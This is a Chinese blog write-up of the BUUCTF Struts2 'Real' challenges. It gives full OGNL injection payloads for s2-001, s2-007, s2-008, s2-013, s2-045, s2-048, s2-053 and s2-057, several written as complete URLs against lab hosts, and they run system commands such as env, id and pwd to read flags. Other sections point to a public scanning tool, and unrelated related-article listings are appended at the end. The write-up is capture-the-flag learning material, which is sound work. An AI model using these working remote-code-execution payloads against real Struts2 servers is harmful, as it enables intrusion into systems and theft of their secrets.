本篇内容
[struts2]s2-001、[struts2]s2-005、[struts2]s2-007、[struts2]s2-008、[struts2]s2-009
[struts2]s2-012、[struts2]s2-013、[struts2]s2-015、[struts2]s2-016、[struts2]s2-045
[struts2]s2-046、[struts2]s2-048、[struts2]s2-052、[struts2]s2-053、[struts2]s2-057

上一篇 | 目录 | 下一篇

[struts2]s2-001

直接找该漏洞的示例exp:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

pwd改为env获取环境变量即可得到flag。

[struts2]s2-005
使用工具跑出payload:

工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-007
类似之前,在age处填入payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '


然后点击提交会在该框中显示内容:

复制下来查看得到flag:

[struts2]s2-008

http://node3.buuoj.cn:27242/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

[struts2]s2-009
s2-009没用,用s2-008的出来了,使用工具跑出payload:

工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-012
s2-012不知道咋搞,用s2-016的出来了,使用工具跑出payload:

工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-013
直接找该漏洞的示例exp:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

id改为env获取环境变量即可得到flag。

http://node3.buuoj.cn:27799/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

[struts2]s2-015
使用工具跑出payload:

这里借助s2-016的,因为s2-015的env获取不到flag。
工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-016
使用工具跑出payload:

工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-045

类似之前,payload:

"%{(#a='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

[struts2]s2-046
使用工具跑出payload:

工具地址:https://github.com/HatBoy/Struts2-Scan。

[struts2]s2-048

首先在网址http://node3.buuoj.cn:28568/后面加/showcase,结果:

点击红框进入另一个页面,输入payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}



然后将上面的示例payload中的id改为env,结果如下:

虽然不知道为啥报错了(我试了ls啥的都不报错),但是不影响结果,如上图框中内容包上flag{}既是正确flag。

[struts2]s2-052

花了半天时间,耗死做不出来,好难受。太菜了,暂且搁置。

[struts2]s2-053

在网址后输入一个/hello进入如下页面:

输入payload(注意结尾要有空格):

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

[struts2]s2-057

类似之前,payload:

http://node3.buuoj.cn:29922/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇

========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105697178
========================================================

struts2系列-Real-BUUCTF平台相关推荐

  1. z490 linux raid,PC硬件与外设 篇二十三:光威弈系列Pro Z490平台装机评测(含raid模式)...

    PC硬件与外设 篇二十三:光威弈系列Pro Z490平台装机评测(含raid模式) 2020-06-16 09:53:51 0点赞 0收藏 0评论 创作立场声明:raid模式值得体验 存储颗粒与主控的 ...

  2. ARM系列之ARM 平台安全架构PSA和Trustzone区别 浅析

    ARM系列之ARM 平台安全架构PSA和Trustzone区别 浅析 PSA要求是什么? C1.1 硬件级别的隔离环境 C1.2 安全启动 C1.3 生命周期管理 C1.4 密钥管理 差异总结 熟悉A ...

  3. struts2系列(二):struts2参数传递错误、struts2的输入错误验证

    一.struts2参数传递错误 1. 基本数据类型的传递最好使用包装类,原因是struts 2.1之后使用基本数据类型如果参数为空会报错 2. 日期参数的传递最好定义一个区域的属性(定义locale) ...

  4. ARM系列之ARM 平台安全架构PSA 浅析

    ARM系列之RM 平台安全架构PSA 浅析 1.背景 2.PSA安全认证 2.1 什么是PSA? 2.2 功能性 API 认证 2.3 PSA安全认证(待完善) 3.专用的开源安全固件代码 1.背景 ...

  5. 干货:Easy系列各视频平台云台控制功能的使用注意事项汇总

    TSINGSEE青犀视频旗下Easy系列视频平台,比如EasyCVR.EasyNVR.EasyGBS等,均可支持对摄像头的云台控制,包括摄像头的焦距调整.方向调整等.在视频监控场景中,摄像头的云台控制 ...

  6. linux嵌入式开发arm7,基于ARM7系列芯片嵌入式平台上实现的设计方案-嵌入式系统-与非网...

    本文介绍的方法是在用ARM7系列芯片S3C4510B和μClinux构建的嵌入式平台上实现的.在嵌入式系统设计过程中,系统的掉电保护越来越受到重视整个掉电保护实现的基本思路是:产生掉电信号,捕捉掉电信 ...

  7. Android Bug分析系列:第三方平台安装app启动后,home键回到桌面后点击app启动时会再次启动入口类bug的原因剖析...

    前言 前些天,测试MM发现了一个比较奇怪的bug. 具体表现是: 1.将app包通过电脑QQ传送到手机QQ上面,点击安装,安装后选择打开app (此间的应用逻辑应该是要触发 [闪屏页Activity] ...

  8. 【makefile系列】全平台编译脚本makefile

    脚本包含:MAC.IOS.Windows.Linux.Android平台 开源地址:https://github.com/fermay/Makefile_demo

  9. struts2系列(四):struts2国际化的多种方式

    一.struts2国际化原理 根据不同的Locale读取不同的文本. 例如有两个资源文件: 第一个:message_zh_CN.properties 第二个:message_en_US.propert ...

  10. CTF题之BUUCTF系列:BUUCTF Misc 二维码

    一.名称 BUUCTF Misc 二维码 二.题目链接:https://buuoj.cn/challenges#%E4%BA%8C%E7%BB%B4%E7%A0%81 解压缩后是一个二维码 三.解题步 ...

最新文章

  1. 使用光标查询10部门的员工姓名和工资,并打印__使用光标查询员工姓名和工资,并打印
  2. windows系统内实现端口转发
  3. 翻到几年前的代码,我惊了。
  4. 如何处理几十万条并发数据_Swoole 如何处理高并发以及异步 I/O 的实现
  5. redis rdb aof区别_Redis(三):持久化RDB,fork.copyonwrite,AOF,RDBamp;AOF混合使用
  6. 基于springboot+shiro一套可落地实施安全认证框架整合
  7. 黑鲨5系列游戏手机通过3C认证:支持120W超级快充
  8. oracle 查询clob
  9. Netty入门系列(2) --使用Netty解决粘包和拆包问题
  10. 简单病毒的制作学习分享~
  11. 《软件体系结构》 第四章 软件体系结构描述
  12. 用 JavaScript 实现时间轴与动画 - 前端组件化
  13. 联想G480黑苹果试玩纪录
  14. pycharm安装open3d的方法
  15. UE编辑器重要快捷键总结
  16. vue-amap的使用
  17. #03 ASP.NET主题
  18. 展现巨星风采!字母哥关键时刻挺身而出
  19. C# Microsoft Speech 选择音频输出设备
  20. Ubuntu 复制文件到远端时错误,Permission denied 失败原因深度探索

热门文章

  1. 李宏毅老师《机器学习》课程笔记-1深度学习简介
  2. 李宏毅2020机器学习深度学习(完整版)国语课程PPT
  3. 关于两种运行sh的方式: ./myscript.ksh and . ./myscript.ksh
  4. 随记:PNP和NPN三极管区别
  5. 推荐5款常用编程文本编辑器
  6. 苹果系列产品如何保修-Apple官方回复
  7. 实现类CAD的交互式命令系统
  8. jpg格式图片怎样压缩?电脑如何压缩jpg图片?
  9. 惠斯通电桥称重传感器检测原理
  10. 微信小程序开发者下不验证https协议的操作